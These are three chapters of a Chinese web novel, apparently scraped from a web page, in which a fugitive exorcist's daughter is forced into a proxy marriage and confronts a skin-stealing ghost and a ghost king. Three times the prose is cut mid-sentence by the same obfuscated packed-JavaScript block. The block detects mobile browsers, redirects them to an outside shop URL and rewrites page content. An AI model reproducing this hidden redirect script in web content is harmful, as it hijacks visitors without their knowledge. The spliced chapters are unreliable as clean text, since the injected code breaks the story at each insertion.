《被美男恶鬼疯狂觊觎后》 1. 恶鬼夺舍 嘶!好痛—— 柳若璃醒来时,头上盖着块红布,黑漆漆一片,什么也看不清。她想要扯下这块碍眼的红布,却发现自己早已被人五花大绑,嘴里塞着团软布,浑身上下更是使不出一点劲。 她透过红布的空隙往下瞄,入目之处皆是一片艳红,隐隐还能瞧见蹩脚的鸳鸯刺绣,她从未有过如此粗劣的衣服,这根本不是她的衣服,而是别人趁她昏倒时强行换上的嫁衣。 外面锣鼓喧天,插入一道刺耳女声:“吉时已到,起轿!” 在被抬起的那一瞬间,她终于相信自己就是新娘子。她不知道自己身处何方,不知道自己所嫁何人,就莫名其妙被迫拜堂圆房。 好在柳若璃的大腿并未用麻绳捆绑,她咬牙拖着发软的脚心用力踩向轿面。 抬轿的人顿时感受到摇晃,以为是别人没有抬稳,起初并未在意,可随着轿子越来越晃,渐渐察觉出不对劲,这动静分明是喜轿上的新娘子所为。 柳若璃的动静闹得不小,就连前来凑热闹的百姓都瞧出些许猫腻,纷纷嚼起舌根:“这李家少爷风流成性,整日流连于青楼之中,没成想纵欲过度,一头昏死在那花魁的石榴裙下。” “李家前脚得知爱子病入膏肓,后脚就马不停蹄迎娶新妇入门。只是苦了那江家小姐,要嫁给一个病秧子活活守寡。”众人你一言我一语,将整件事情拼凑完整。 人的视觉一变模糊,听觉就会被无限放大,更何况柳若璃自幼习武,耳力更是一绝,众人的言论她是听得清清楚楚。 她大胆猜测一番,江家不愿让女儿出嫁即守活寡,就想来一出狸猫换太子的戏码,许是想让府内丫鬟替小姐出嫁,却不知怎得临时改变了计划,绑了她这个处于昏迷的陌生女子,为那即将不久于人世的李家少爷冲喜。 好一个一箭双雕,即保全了自己的女儿,又不会伤了两家和气。 估摸还有半刻钟,软骨散的药效便能散去,柳若璃不想白费力气,合上双眼修身养息。 不知过了多久喜轿终于停下,她又听到一男一女窃窃私语:“要不把她的麻绳解开,若是被人传出去岂不有损颜面?” “嗯……也可。” “软骨散的药效一个时辰才过,现下不过半个时辰,一个弱女子不足为惧。” 就在这时,一个丫鬟掀开帘子,麻利地解开绳子,柳若璃顺势倒入她的怀中,徉做一幅柔弱无依的模样。 “咳——”前方不远处有人在咳嗽,有人在惊呼,大惊小怪地好似那人把肺都一同咳出来。 想必这人就是李家少爷,她还以为这人病重地瘫在床榻上起不来呢,没想到竟还能爬起来迎亲。 突然间,一道不怀好意的目光黏在她身上,柳若璃不由得感觉一股恶寒。即使她被红盖头遮挡视线,亦能准确找出源头—— 就在前方! 一双手大力地搂住她的腰,不安分地用大拇指上下摩挲,泛苦的药味透过盖头,直冲她的鼻底,男人调笑的声音从她头顶响起:“听闻娘子前些日子中邪,没想到大病初愈后,身子骨瞧着倒是愈发窈窕了。” 柳若璃忍住要吐的冲动,看似顺从地埋在那人怀里,实则用凤冠狠狠刺进他的胸口。 “哎呦喂!”李家少爷不堪重负,一头栽倒在地,口吐白沫,不省人事。 “少爷!”场面顿时混乱起来,众人忙着去瞧新郎官的热闹,完全忽视了新娘子的存在。 见内力恢复地七七八八,柳若璃也懒得伪装,当即掀了红盖头,将塞在嘴里的布捏在手心里,便哭的梨花带雨向新郎官跑去。 他身边早已被好事者围得严严实实,就连来救命的大夫一时都挤不进去。柳若璃凭着矫健的身姿,抢先一步来到人群中心。 此时此刻,她终于看清楚李家少爷的模样,不禁摇了摇头。 印堂发黑、鼻梁短塌、人中短小、面色发白,妥妥的短命相啊! 她嫌方才那一撞还不够解气,一边假惺惺的哀嚎,一边用那染过口水的布无情拍打此人的嘴脸,还趁乱偷摸踢了几脚,这才出了心里那口恶气。 就在她即将收腿的刹那,一只手悄声环住她的脚踝。 柳若璃愣了一下,向下方望去。那只手的主人缓缓睁开双眼,正好撞上她的视线。 不过一眼,她就忍不住惊呼起来,如此平平无奇的眼型,竟生了双这般绚丽的眼睛,连带着将男子的容貌生生拔高一个层次,就好像完全变成了另外一个人。 他深幽的双眸一直紧紧盯着柳若璃,惨白的脸上浮起一丝诡异的笑意。印堂上的黑气越来越深,几乎就要溢出脑门。 柳若璃心里一惊,条件反射地想要往后退,却被男子冰冷的手心死死握住,沁骨的寒意宛若一条毒蛇从脚踝处一点点攀爬上来,张开狰狞的的毒牙誓要在她的胸口上留下难以湮灭的咬痕。 她的身体早已僵硬,不知不觉间,额头冷汗直流。她甚至不敢呼吸,只是小心翼翼地望了男子一眼,而后快速瞥过脑袋,随之而来的是后知后觉的慌张。 他不是李家少爷,而是被恶鬼夺舍的傀儡! 她下意识想拿起腰间的储物袋,掏出里面的符纸驱鬼,却摸了个空。这才想起来自己的随身物品早就被江家人拿走,不知所踪。 可恶!柳若璃以往应对的都是些法力很弱的小鬼,可面前这只恶鬼,她甚至看不出其披着伪善人皮后的真实面目。 传闻,法力高深的恶鬼,即便是修行之人,亦难以识破真身。只要他们小心掩盖气息,无人能够看清这副面皮下是人是鬼。 柳若璃掌心直冒冷汗,这只恶鬼是故意的,故意露出破绽、让她识破身份。 他想要做什么?是吸光在场所有人的阳气,还是寻找下一个合适的宿主。 没有符纸护身,她根本不可能是恶鬼的对手。她在脑海里不停想办法,却突然发觉眼皮越来越沉重,身体越来越轻盈,只需微风轻轻一吹,她就能立即倒地不起。 强烈的困意强行控制大脑休眠,在她完全无法支配身体,不断往后倒去的背离地面只剩一寸距离时,原本躺在地上装死的男人终是肯松开禁锢在她脚踝的手,而后顶着众人惊讶的目光快速起身,不偏不倚搂住她的后腰。 柳若璃在昏迷前的最后一眼,见到恶鬼靠在她的耳边,用着最平淡的语气,说出世间最恶毒的话。 “害怕我?” 他幸灾乐祸地笑道:“恭喜你,你被恶鬼缠上了!” 这个男鬼真贱啊!这是她昏迷前脑海中最后一个想法,她挣扎着抬起颤颤巍巍的手指头,她不想、也不愿同这个男鬼拜堂成亲。只可惜她毫无抵挡之力,最终只能拜倒在这来势汹汹的困意下,懊恼地沉睡过去。 柳若璃做了一个梦,梦中又回忆起了两日前发生的事。彼时,柳老头仍是受圣上敬仰的国师,她沾了亲爹福气,身价水涨船高,在长安城几乎可以说是横着走,无公主之名,享公主之福。即便是皇亲国戚,见了她都得绕着走。 当天是她十六岁的生辰宴,女扮男装在外招摇过市,荒唐到日落西山只敢钻狗洞回府,却正好被柳老头人赃并获,敲着她的脑袋呵斥她没个正形。 不远处是一袭白衣身影,柳若璃捂住脸就急忙往闺房跑,生怕他瞧到自己的灰头土脸。 待侍女为她梳妆打扮后,她身着华美襦裙亮相宴席,听着众人滔滔不绝的赞美,身侧侍从怀里装着满满当当的礼物。 她搂着萧隽尘的手臂,向众人宣布下个月的婚讯。屋檐上的铃铛发出悦耳的清响,她完全沉溺在巨大的幸福之中,丝毫没有注意到危险即将来临。 帝王之心,向来难测,朝堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059183|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政局,暗流涌动,一朝失策,万劫不复。 柳老头被圣上贬为庶人,关押在暗无天日的牢狱之中,而国师之位转由萧隽尘接替。 唯有柳若璃成功逃出来,穿过柳老头设下的换位阵,来到这荒芜偏僻的无妄城。却因阵法颠簸,昏死在城郊外,而后被江家人捡到,成了那可怜的替死鬼。 这次的梦极为逼真,当天她从未在意过的细节,在这场美梦里完完全全地显现出来。 她的一生实在是顺利极了,不然又怎会没有注意到,她身旁的两位亲人眼里隐藏着淡淡的悲伤。又怎会没有注意到,向来喜爱她的圣上并未送来礼物。她永远只顾自己开心,家人的喜怒哀乐却毫无察觉。 若是早一点,早一点…… 她还有说对他们说再见,还没有对柳老头正儿八经喊过一次爹,还没有和萧隽尘如愿成亲,她不想死,她就想活着回去,怎么就这么难啊! 梦中的故事已经走到尽头,柳若璃清楚地知道自己要醒了,一道猛烈的白光闪现,她朝着两人挥手告别,轻笑着流下眼泪。 再睁开眼睛,她已经恢复意识。眼前,是一览无遗的红色,她正躺在一张婚床上。 柳若璃揉着胀疼的太阳穴坐起身来,左边的侧脸似被细物戳刺莫名发痒,她伸手挠痒痒的时候,却抓到一把深褐色的头发。 她的手臂顿时起满了鸡皮疙瘩,她的头发是黑色的,那这深褐色的头发又是谁的? “啧。” 在万籁俱寂的房间之中,竟凭空响起一道声音。 她屏住呼吸缓慢地望向左边,万幸没有看见任何邪祟之物。她刚松了口气,就又听见“滴答滴答”的声响。 连续不断的声音,吵得她耳朵疼,她只好下床观察四周,也并未发现有何异处,忽而一只手扣住了她的肩膀。 阴森的冷气从肩膀逐渐蔓延到脖子,最终停留在她的脸上。 耳畔旁有股冷风吹过,挟裹着阵阵阴笑一并传入耳中。 她用余光瞄到一只白衣女鬼,正站在她的身侧,贪婪地闻着她身上的味道。 柳若璃一副毫无察觉的模样,兀自朝门口走去。可那女鬼却阴魂不散,又伸手戏弄于她,用力撕扯她的头发,期待她发出惊恐的尖叫声。 头皮被猛地一扯,疼得她眼前发白。她实在是忍无可忍,朝着后方就是一脚横踢,那女鬼没料到她会突然偷袭,尚未来得及躲避,就被她这用了十足力气的横踢,一脚踢飞到屋顶。 一张人皮轻飘飘地跌落下来,掉到前方不远处的地板上。 剥取活人面皮为己用,原来是只画皮鬼啊! “小美人,你看得见我?”画皮鬼略带狼狈地从地上爬起来,饶有兴趣地盯着她的脸。 女鬼失了人皮的脸,在昏暗的卧室中显得极为恐怖,只见她伸出尖锐的利爪,冷笑道:“你毁了我刚得的人皮,不如剥下你的人皮赔罪?” 她浑身戾气四溢,身形快如闪电,单手掐住柳若璃脆弱的脖颈,用红色长甲漫不经心地抚摸着她的脸。 “小美人,我无意伤你,本来只是想杀了你那倒霉夫君,可惜我看上你了的脸,不如便让你们二人做一对苦命鸳鸯。放心,不会很痛的,生死不过一瞬间。” 画皮鬼的指甲已经游移到她的下颌,只需片刻,她的面皮便会被完整剥落下来。 “丑鬼,想要披上我的人皮,下辈子吧!”柳若璃的嘲笑彻底激怒了画皮鬼,及腰的长发似疯狂蔓延的树枝,牢牢缠住她的脖子,挣不脱,逃不得。 就在这千钧一发之际,卧室的大门被人打开了。 屋内的血腥画面被那人照收眼底,可他却只是平静地靠在门旁,双手交叉于胸前,戏虐地轻笑一声,深幽的眼眸中藏匿着危险的压迫。 “要杀她,还轮不到你的份。” 2. 真实面目 “是你!” 画皮鬼发出刺耳的尖叫,黑黝黝的眼珠瞬时变成猩红的血色。顷刻间,她已然忘了手里的猎物,毫不在意地将柳若璃甩到一旁。 她静静地望着面前的男子,黑色鲜血从她的眼睛、鼻子、嘴巴里缓缓流出,而后偏着头闪现到他面前:“你,还记得我吗?” 她猛然间快速逼近男人,丑陋不堪的脸庞,就这么猝不及防地在男人面前无限放大。 鲜血一滴一滴落在男人的脸上和身上,画皮鬼的指甲几乎就要戳进他的面皮。 刹那间,恐怖的氛围达到顶峰,可他却丝毫不慌,轻轻拍开女鬼的利爪,嫌弃道:“我不是他。” 他嗤笑:“你好歹也是一只鬼,难道闻不出我身上的气息,做鬼做成你这样,也真是失败。” “还有——”他指着柳若璃,“新娘子是我的,你不能动。” “你既做过人,定知凡间有先来后到的道理,我早在你来之前,便先在她身上留下了印记。于情于理,你都是后来的那个,现在麻烦你出门左拐,那边的花楼想必会有你喜欢的人皮。” 刚陷入狂怒状态的画皮鬼,听完男子的话一下子沉默了,当瞳孔里的血色褪去,看清眼前一切后,她一时之间有些茫然,瞪着个大眼睛左望望“李家少爷”,右望望柳若璃,很快又发现自己脸上的人皮不见了,惊慌失色道:“我的脸,我的脸不见了!” “喏,你的脸皮在地上。”柳若璃揉了揉后腰,没好气地回应道。 一男一女,两只恶鬼前后夹击,逃出生天的希望十分渺茫,她似乎已经预见自己被他们掐着脖子吸光阳气的画面,身体不由得打了一哆嗦。 在这生死攸关之际,她忽然想起柳老头曾教过她以血画符,此乃危难时刻的下下招,若是画错分毫是会被反噬的。 趁着两只恶鬼内斗,她咬破指尖,用殷红的血液涂抹在墙壁上,趁此机会悄悄画符。 这是她第一次画,难免有点小紧张,沁血的指尖微微颤抖,只差最后一笔,驱邪符就成了。 谁料那画皮鬼却突然鬼嚎一声,她吓得手一抖,歪了。 喉重瞬间涌出一股铁锈味,心脏疼痛剧烈,她努力克制自己,这才没有痛喊出声。 额间不由得冒出冷汗,她咽下嘴里的血水,擦掉歪出去的那笔,正欲重新填上,却听见耳边传来惊天地泣鬼神的哀嚎,“我的脸,我的脸怎么就染上了血。” 好在她有心里准备,及时撤回涂画的动作,可指尖凝聚的鲜血却不听她的指唤,翩翩然地从指尖掉落,无情地洒下浓墨重彩的一笔。 “噗——”又是一记堪比雷劈的威力,柳若璃痛苦地合上双眼,再也忍不住吐了口鲜血出来。 她捂住胸口靠在墙上,苦笑着摇了摇头。 内心愤怒的火苗愈演愈烈,就差一个种子便能喷薄而出。 就在这时,画皮鬼抓起地上掉落的人皮,指着她痛哭流涕道:“原来是你的血毁了我的脸。” 柳若璃被气笑了,此刻她也不再惧怕恶鬼会伤她性命,她只想狠狠出口恶气。 她强撑着站起身,意图在气势上压倒对方,却发现画皮鬼比她高了一个头。她不服输地往下面一瞧,画皮鬼的双脚压根没落地,还在半空飘着呢。 她按住画皮鬼的肩膀用力往下一压,形势瞬间逆转。现在她才是最高的那个,她看了又看,满意得不得了。 “你是没照镜子吗,你看不到自己全身上下都在流血吗,就算你不敢照镜子,你总能感受到吧,你凭什么说是我弄脏了你的人皮。还有,你真的很聒噪,你知不知道这样很扰民啊!你以为自己当鬼了,就可以不遵守凡间的道德秩序吗?我告诉你,你的鬼哭狼嚎让我不堪负重,连旁边那位鬼兄都瞧不起你。明明是你抓住我,想要杀了我,想要残忍地撕下我的面皮,你凭什么可以心安理得地哭泣,要哭也应该是我哭。” 柳若璃一句不断,字里行间皆在控诉着女鬼的恶行,情绪宣泄过后她恢复了些许冷静,她的确是在气势上稳压对方一头,可万一对方恼羞成怒当场就杀了她,她又该如何是好。 她面上淡定自若,实则心乱如麻,原本红润饱满的脸蛋在经历两次反噬后,就变得疲惫不堪,现如今内心又担忧小命不保,脸色更是显得愈发惨白,而她穿着一身红色嫁衣,再配上幽怨无比的眼神和嘴角残留的血迹,比起对面莫名变得天真的画皮鬼,她反而看起来更像是一个怨气十足的女鬼。 画皮鬼停止了哭泣,呆愣地望着她,由衷问道:“你,你怎么比我长得还像个鬼啊!” 她并未疑惑许久,便又大惊失色喊道:“你是凡人,怎么能看见我这个鬼?” 望着眼前这个楚楚可怜的女鬼,哪里还有先前半分凶狠模样,柳若璃怀疑她生前便患有精分,不然怎会死后变成这副德行。 就在此时,她又正好瞥见那位躲在暗处悠哉看戏的男鬼,嘴角偷偷浮起一抹笑意。柳若璃的火气瞬时噌噌噌地往上冒,她使劲握紧拳头,咬牙切齿地想,既然她不好过,那两只恶鬼也休想好过。 她不再迟疑,咬破已经结痂的食指,快准狠地往涂上那最后一笔。 刹那间,金光大闪,彷佛喷溅出能够毁天灭地的熔浆。随着一声惨烈的叫声过后,天地间,只余悠长的宁静。 强烈的光芒让人无法直视,即便是画符者,亦不能窥视分毫。 柳若璃遮挡住双眼,可刺眼的光线依然让她情不自禁流下泪水。等到余光散尽,她才敢睁开双眼,身侧两只鬼都已昏死过去。 她试探地跨出一小步,两只恶鬼皆无反应。她渐渐大起胆子,朝着画皮鬼走去,想起女鬼方才痴呆的神情,她不知怎得莫名心软,努力忍住内心的抗拒,用尾指勾起那张满是污血的人皮,完全盖在她的脸上。 妖冶的鲜血在她苍白的脸上蜿蜒成一株带刺的玫瑰,非人非鬼,更像个妖。 突然之间,柳若璃的后背刮起一阵阴风。她这才猛然惊觉,男鬼附身在李家少爷身上,遭到驱邪符的攻击后,会立即被驱赶出人的肉身。 若倒在地上昏迷不醒的是李家少爷,那真正的男鬼又藏在了何处? 她的后背突感一阵寒意,她感知到有人在用极具侵略性的目光恶狠狠地盯着她。 柳若璃僵硬地转过身子,慢慢朝后方望去,还未等她看清对方长相,便被那只恶鬼掐住脖子,欺身而上扑倒在地。 一阵头晕目眩之后,她终于看清男鬼的真实面容。 在她的印象里,厉鬼穿着的衣裳不是白色便是黑色,这还是她第一次见到张扬而又鲜明的红色。 往上瞧去,是一张过分俊美的面容,他正目不转睛地盯着身下之人,红色丝带束起的高马尾恰在此时随风飘扬。 他倒是长得比柳若璃想象地更加年轻,竟是位唇红齿白的少年郎,偏偏肤色惨白得异于常人,给清冷疏离的气质,又增添了几分阴郁。 他浑身上下冻地像块冰山,即使二人中间有衣物相隔,柳若璃仍是冷得直发抖,更别提他冰冷的手指正强势禁锢在自己的颈部之上。 虽并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059184|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使了多大力气,却还是压得她透不过气来。 美男恶鬼睥睨的眼神似是要把她拆骨入腹,她此刻也顾不上害不害怕或是如何逃命,只觉后背脊骨传来一阵钻心底的疼痛。 因为方才的剧烈挣扎,柳若璃的发饰早已散落一地,她活了十六年,还是头一次如此狼狈不堪。 她不是任人宰割的性子,狠厉地瞪了一眼压在她身上的罪魁祸首,余光瞄到身侧躺着一支金簪,手指不经意间轻轻一勾,便将其牢牢攥在手心。 男鬼按住她想要作乱的手,弹开她手里的利器,冷哼道:“不自量力。” “一介凡人的利器,竟妄想伤厉鬼分毫。” 柳若璃没有给他下一句开口的机会,双膝弯曲用尽全身力气往他身下重重一顶,趁他躲闪期间,抓住他的手腕就往嘴里咬,利齿不曾嫌弃对方的寒冷坚硬,没有放过一丝一毫攻击的机会,彷佛泄恨般地疯狂扎入血肉之中。 直到上方男鬼轻飘飘的声音响起,似是在嘲笑她的无知,“任你咬的再厉害,我也不会感到痛。” 他没有说谎,即使他的手心已经不知被咬出多少伤口,他依然感受不到任何疼痛,相反在一次又一次猛烈进攻后,他竟只记得柳若璃口中柔软而又湿滑的触感,以及不慎撞上灵动舌尖时,心中那股道不明说不清的痒意。 却在这时,柳若璃松口,她的唇边沾满了恶鬼的鲜血,此刻正直勾勾地盯着他的双眼,“伤不到又如何,我心里解气就行。” “况且——”她话音一转,继而咬破自己的手指,一滴鲜血悄然落在男鬼手心伤口之上,她嘴角扬起一抹微笑,挑衅道:“现在,痛了吧。” 那滴血融入男鬼的伤口之后,他的身体久违地感受到灼烧的痛意,原本即将愈合的伤势也诡异般扩散开来。 “你的伤口染上我的血,只会越来越痛,严重点甚至会魂飞魄散,再无转世投胎的可能。” “我不好过,你也别想活。” 柳若璃不敢错过他面上任何变化,期待看到他露出一丁点怯意,可他却毫不在乎地笑了。 是真心实意、发自内心的笑意。 “我的肉身早就消散于人间,只不过灵魂被迫困于凡间,我早就不想活了,还得多谢你帮我了却心愿。” “况且,拉你这条人命为我下葬,我怎么也不亏。只是可惜你年纪轻轻,还未来得及好好孝敬父母,就得让他们白发人送黑发人。” 话音刚落,男鬼就摆出一副遗憾的模样,加重力度摁住她的脖子就要送她归西。 眼见他不顾灰飞烟灭的下场,也要除掉自己的性命,柳若璃急忙叫停,“且慢,我有办法。” “只要你肯放我走,我就能保住你的魂魄。” 此言一出,男鬼果真泄力,似是在考虑此话是否属实,可片刻后他又摇了摇头,“我心意已决,你就同我一起走吧。” 随后他又恶毒地使劲掐,柳若璃只觉两眼发黑,整张脸已是憋得难受、涨得通红,只怕再过片刻当真就要一命呜呼,她无奈只能委曲求全喊道:“能不能换个体面的死法?” “哦,怎么个体面法?”他心知对方一肚子坏水,怕是想趁机给他致命一击,可他倒是来了几分兴致,想要同她好好玩一玩。 柳若璃愤恨咬牙,脑子里已经想好一万次干掉他的死法,“不要太痛的那种。” 闻言男鬼的眼神莫名变得危险起来,他的视线移到身下之人的唇上,“有倒是有,只怕你不能接受。” “吸光你的阳气,你也愿意吗?” 3. 鬼王大人 早在第一眼见到男鬼之时,柳若璃就敏锐地感知到他毫不掩饰的厌恶。她与他无冤无仇,可他却暗藏杀心,现下她终于明了,原来男鬼是在觊觎她的阳气。 “怎么,你不会真在考虑吧。”男鬼眸光微闪,一抹笑意转瞬即逝。 他慢慢倾身向前,束缚的力度也在此刻突然加重,“可惜,你的阳气我瞧不上。比起慢悠悠地吸阳气,我更喜欢血淋淋的死法。” “比如一口咬烂你的脑袋,或者一刀刀剖开你的肌肤,亦或者徒手穿过你的胸膛,一拳捏爆你的心脏。” “你更喜欢哪一种死法?” 强烈的杀意如排山倒海般向柳若璃涌来,怕是只要她说错一句话,那阴暗的男鬼便会当场扭断她的脖子。 柳若璃有些看不明白,明明他身体力行地想要杀她,可她却从他的眼里看到疯狂隐忍的渴望。 他在渴望什么,渴望残忍地杀害她吗? 不是的,她想都没想便立刻否掉了这个猜想。想杀掉一个脆弱的凡人,作为厉鬼抬手间便能完成,怎会需要如此大费周章。 脖子上的禁锢每重一分,她的呼吸就越发急促。此刻她的脑子在快速运转,身体和心理上的畏惧反而减缓了几分。她目视前方,清楚地看到他眉眼间闪过一丝急躁。 见她许久不开口,男鬼终是有些不耐烦道:“你不说话,是想让我帮你选择死法吗?” “我死前,你能告诉我为何这般想置我于死地的原因吗?” “毕竟,我与你无冤无仇,你为何要杀我。” 柳若璃此举虽是在拖延时间,但她心里的确是好奇极了,恶鬼杀人要么是为了报仇雪恨,要么就是为了吸取阳气。 可这两条,眼前的男鬼却是一条不沾。 若她今日真是不明不白就命丧于此,无疑是死的冤透了。 男鬼的眼神里透出一股嫌弃,“世上哪有这么多为什么,我就是单纯的厌恶你,看你不顺眼想杀了你,就这么简单。” 柳若璃忍不住冷笑,如此敷衍的理由,这只讨人厌的恶鬼演都不演了,“牢狱里都是犯事的坏人,你不去厌恶,反而厌恶我一个弱女子?” “我不认为一个普通弱女子的血能伤到鬼。”男鬼垂眸看了眼自己的伤口,没好气地笑道:“我说的对吧,柳家大小姐。” 她有些慌张,连忙否认:“你胡说什么?我不姓柳,我是江家小姐。” "传闻国师之血,恶鬼见之,落荒而逃,与你今夜滴血画符,好似有异曲同工之处。” “国师收鬼多年,可曾想过自己的宝贝女儿会落在恶鬼手里。” 他揶揄道:“而你,貌似也没从你那厉害的爹手里学到些护身的皮毛。” “这就是你要杀我的理由吗?” 柳家乃天师世家,祖上更是有一女子凭自身功德修炼成仙,并赋予后人之血降妖除魔的奇效,可惜越往后越衰败再无一人能得道升仙,其血威力也愈加衰弱,若想诛灭妖邪只能用全身鲜血与其同归于尽。直至多年后,柳若璃的父亲重新显现成仙之相,却又迟迟无法勘破最终止步半仙。 知晓此事的几乎都是大有来头的恶鬼,也就是说这只恶鬼从头到尾都知哓柳若璃的血压根不能让他魂飞魄散,他一直处于高高在上的姿态,以极其顽劣不堪的心态把她当作渺小的蝼蚁,不断蔑视、逗弄她。 “那你恐怕是小瞧了我。”柳若璃眼神坚定,面色越发沉着冷静,“我是想活,但我更讨厌受人威胁,尤其是你这种阴险狡诈、人面兽心的恶鬼。” “你口中传言皆为实话,我那几滴血虽不能令你灰飞烟灭,但若我爆体而亡,你亦必死无疑。” 她狡黠的目光投到男鬼身上,进行从上到下的扫视,“除非,你是真的想死。” 而后尾音一转,“可据我所知,人死后迟迟无法投胎,无一列外都是死前执念太重,不愿意忘记回忆重头再来。” 柳若璃脸上挂着得意的笑容,笃定地望着他,“莫非,你的执念未解,也愿意随我一起送死。” 男鬼的目光从始至终都未从她身上挪开,明明听到她的致命威胁,他深沉的眸色却在此时亮得惊人。 “你很聪明。” 他突然露出一抹笑,诡异、阴冷、令人不寒而栗,继而慢慢移到她的耳边,宛若刑场的刽子手手起刀落,却在关键时刻偏移力道,白嫩的脖子上是狰狞可怖的创伤,猩红露骨的血肉挂着摇摇欲坠的脑袋,但偏偏犯人还剩最后一口呼吸。 “但我赌你,不敢死。” 柳若璃脸上挂着的笑容瞬间僵硬,转瞬又消失不见。她知道,这只恶鬼并不是真的想杀她,他接近她别有一番目的,且那个目的令他很不齿,导致他将所有过错全部推在她一人身上。 所以威胁她、愚弄她、觊觎她。 深深觊觎她身上某样东西,且失控般地想要肆意掠夺。 因此他才迫切地想要她恐惧、胆怯、不安,占据绝对地主导地位,让她跪倒在地上臣服于他。 他越想,她偏不。 在他们二人僵持不下之际,那位晕倒的画皮鬼已然有苏醒的迹象。 “嘶!” 她捂着脑袋睁眼一看,面前赫然是一男一女交叠的香艳场景,不由得瞪大双眼。而看到男鬼的真实面目后,更是吓得魂不守舍,当即“扑通”一声跪倒在地,畏惧地喊道:“鬼王大人!” 闻言柳若璃不可置信地望着压在自己上方的男鬼,她之前捉拿过过几只小鬼,叽叽喳喳地吵着她耳朵痛,她正欲施禁言咒时,一个小鬼头讲起了新任鬼王的励志人生。 传闻他修为尚浅时,曾被一个颇有来头的伥鬼欺辱过,对方疯狂踩着他的颅骨,污血糊满他整张脸上,如此弱小且美貌的男鬼,在哪都是任人欺凌的对象。就在众鬼惋惜之际,他竟趁伥鬼轻敌,一击命中其要害。 而后他的修为愈发精进,以恐怖的速度不断攀升,前来寻仇的仇家也被打得屁滚尿流,自此他一战成名,靠着强大的实力,一举登上鬼王之位,成为无数小鬼的信仰。 喂喂!眼前这个恶劣男鬼哪里有半分传闻中隐忍强大的形象,柳若璃鄙夷地瞧了他一眼,难以相信鬼王竟是这种货色。同时心里又生出了一股绝望之意,她太清楚自己有几斤几两了,即使找到丢失的储物袋,用尽里面所有的符纸,她也不是鬼王的对手。 男鬼倒是不介意身份被戳破,反而肆意地笑着,掩藏着一丝兴奋:“你是在害怕吗?” “放心,我暂时对你的小命不感兴趣。” 他终于舍得从柳若璃的身上下来,方才还带着笑意的目光消失不见,旋即居高临下地俯视她,“你父亲可是鬼界大敌,若是让别的厉鬼得知你的身份,怕是恨不得当场将你碎尸万段。” “而你的血是优势,亦是弊端。你是个惜命之人,遇上一两只小鬼,还能抵挡一二,可若是碰上成千上万的恶鬼,你的血只会让他们更加愤怒。” 柳若璃眯眼不解:“你究竟意欲何为?” 男鬼突然对她伸出手,“我不杀你,你不害我,皆大欢喜。” 苍白得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059185|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪异的肤色,倒是显得他有点像文弱书生,可他哪是心慈手软的小白兔,分明是吃人不眨眼的大灰狼。 “不过鱼和熊掌不能兼得,你总得付出一丁点代价。” “可能接下来很长一段时间,你得寸步不离地留在我身边。” 男鬼的手仍停留在半空中,似是在等待她的选择。柳若璃丝毫不犹豫,挺着酸痛的后腰站起身,坚决道:“不可能!” 男鬼也不恼,耸了耸肩,毫不在意地靠在床榻之上,打了个哈欠,“随你。” “不过,你待会最好不要求我。” 他也不管屋内是否还有人在,双手枕着头翘着个二郎腿,就这么直喇喇地躺在床上。 画皮鬼不知发生何事,索性缩在角落瑟瑟发抖,一个两个的,都不是她能得罪的主。 柳若璃自是不肯相信他会真的放过他,二人沉默不语僵持了好一会儿,屋外传来窸窸窣窣的脚步声。 一位中年妇女咄咄逼人的声音响起:“今日是我家大郎的大喜之日,江家那老不死的东西,把自己女儿嫁过来,作为亲家竟不肯出席,你听听宴席上那些人是怎么笑话我们李家的。” “还有那江蕊,平日里瞧着生龙活虎,一到门口就昏过去了,晦气得很。要不是听大师说她八字旺夫,凭她这粗鄙的性子怎配嫁入李府。” 另一位尖嗓子的夫人开口:“我的好姐姐,大喜之日莫要动怒,等大郎病好立刻把她休了就是,届时再给你娶一个满意的儿媳回来,再生几个白白胖胖的大小子。你呀,为李府操劳半辈子,就坐等晚年享清福。” 来者大概十人左右,离婚房还有几步距离。而现在屋内的情况是,新娘子是替身假冒的,新郎官是昏迷不醒的,还有两只善恶不详的鬼。她们一推开门,怕不是会直接认定她是心怀不轨的歹人。 柳若璃顾不得两眼一黑,以最快的速度清理之前打出来的残局。 满屋子的血腥味,去除。 东倒西歪的物件,摆正。 她仓促戴上红盖头,却发现目前场上最大的难点就是地上还躺着个半死不活的新郎官。等众人推门而入,看到昏睡的新郎官还是会有所怀疑。 她赶紧拽着李家大郎的腿,一头砸去婚床上,除了头上出了点血,其他没什么大问题。 男鬼不爽地“啧”了一声,又将其一脚踹到婚床的角落。 门外的脚步声越来越近,男鬼欠揍的声音冒出来:“怎样,要不要来求我?” 